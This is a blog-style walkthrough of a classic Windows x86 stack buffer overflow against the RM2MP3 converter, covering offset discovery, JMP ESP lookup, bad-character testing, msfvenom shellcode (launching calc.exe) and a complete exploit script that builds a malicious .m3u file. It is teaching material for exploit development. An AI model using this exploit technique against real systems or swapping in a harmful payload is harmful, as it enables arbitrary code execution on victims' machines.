Stack Based Overflow Example (Windows x86)

Intro

This article is a Corelan’s “Exploit writing tutorial part 1 : Stack Based Overflows” walkthrough with some additional comments.

Original article can be found here

Vulnerable app can be downloaded here

Verifying the bug

Let’s write python script which will generate large number of A’s and write them into exploit.m3u file.

#!/usr/bin/python
attack = 'A' * 10000
print attack
python exploit.py > exploit.m3u

If 10000 or 20000: Sample image

If 30000: Sample image

That’s how crash looks like in Immunity Debugger:

Sample image

As you can see EIP now contains “41414141” which is “AAAA”

Finding an offset

We need to find exact location of EIP. We will use pattern_create.rb script. This script comes with metasploit .

Let’s run it to generate the string with unique patterns:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30000

Now we will put this string in our m3u file. Sample image

python exploit.py > exploit.m3u

Let’s restart RM2MP3 converter and open our new exploit.m3u. Application crashes and we have our EIP value: 48386B48 Sample image

To find the exact location we will use another script:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 30000 -q 48386B48
[*] Exact match at offset 5784
[*] Exact match at offset 26064

So the length of buffer before writing into EIP register is 26064. Let’s change our exploit.

#!/usr/bin/python
attack = "A" * 26064 + "B" * 4
print attack

Now we will upload load file in RM2MP3 converter and yes, EIP contains “42424242” which is “BBBB”. So now we can control EIP.

Memory space for the shellcode

The next step is to find memory space for our shellcode. We will add some “C” after the EIP value:

#!/usr/bin/python
attack = "A" * 26064 + "B" * 4 + "C" * 1000
print attack

We can see ESP pointing to the bunch of “C”. So we can put shellcode instead of “C”s and to make EIP to go to the ESP. Sample image

Let’s check if ESP points to the first character of our pattern:

#!/usr/bin/python
attack = "A" * 26064 + "B" * 4 + "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK5ABCDEFGHIJK6ABCDEFGHIJK"
print attack

Sample image

As we can see, ESP points to the 5’th character. So we can add extra 4 characters before our shellcode.

#!/usr/bin/python
attack = "A" * 26064 + "B" * 4 + "C" * 4 + "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK5ABCDEFGHIJK6ABCDEFGHIJK"
print attack

Sample image

Now ESP points to the first symbol of our shellcode.

JMP ESP

Now to jump to our shellcode we should overwrite EIP with “JMP ESP” instruction.

~# rasm2 -a x86 "jmp esp"
ffe4

We will use mona script to find this opcode. Firstly we will list modules:

!mona modules

Sample image

!mona find -s "\xff\xe4" -m "MSRMCcodec02.dll"

Sample image

The address of JMP ESP command is 01aaf23a

Bad Chars

So now we can add our shellcode and jump to it. But firstly we will check the application for the badchars. To do this it is needed to send all possible characters as a part of buffer (excluding “\x00” which is bad character by default).

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10""\x11\x12\x13\x14\x15\x16\x 17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20""\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\ x2e\x2f\x30""\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40""\x41\x42\x43\x4 4\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50""\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x 5b\x5c\x5d\x5e\x5f\x60""\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70""\x71 \x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80""\x81\x82\x83\x84\x85\x86\x87\x8 8\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90""\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x 9f\xa0""\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0""\xb1\xb2\xb3\xb4\xb5\ xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0""\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xc d\xce\xcf\xd0""\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\x dd\xde\x df\xe0""\xe1\xe2\xe3\ xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0""\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\x fc\xfd\xfe\xff")

Let’s edit our exploit:

#!/usr/bin/python

badchars = badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

attack = attack = "A" * 26064 + "B" * 4 + "\x90" * 25 + badchars
print attack

Let’s follow ESP in dump. As you can see on the picture below 0x09 is the first bad character:

Sample image

We should delete it from badchar string and run our exploit again:

0x0a is also a bad character, let’s delete it from our exploit and run all things again.

Sample image

Now everything seems fine.

Generating shellcode

Let’s generate our shellcode. We will use msfvenom to generate simple shellcode which will call calc.exe. -b option can help us to tell msfvenom not to use this characters in shellcode.

$ msfvenom -p windows/exec CMD=calc.exe -f c -a x86 --platform windows -b "\x00\x09\x0a" -e x86/shikata_ga_nai
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] =
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3";

Final exploit

Now let’s update our exploit. We will add address of JMP ESP command and our shellcode to it:

#!/usr/bin/python

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + "\x3a\xf2\xaa\x01" + "\x90" * 25 + shellcode
print attack
python exploit.py > exploit.m3u

And finally let’s copy our exploit.m3u to windows xp machine and load it into RMtoMP3Converter.

Everything works fine! Sample image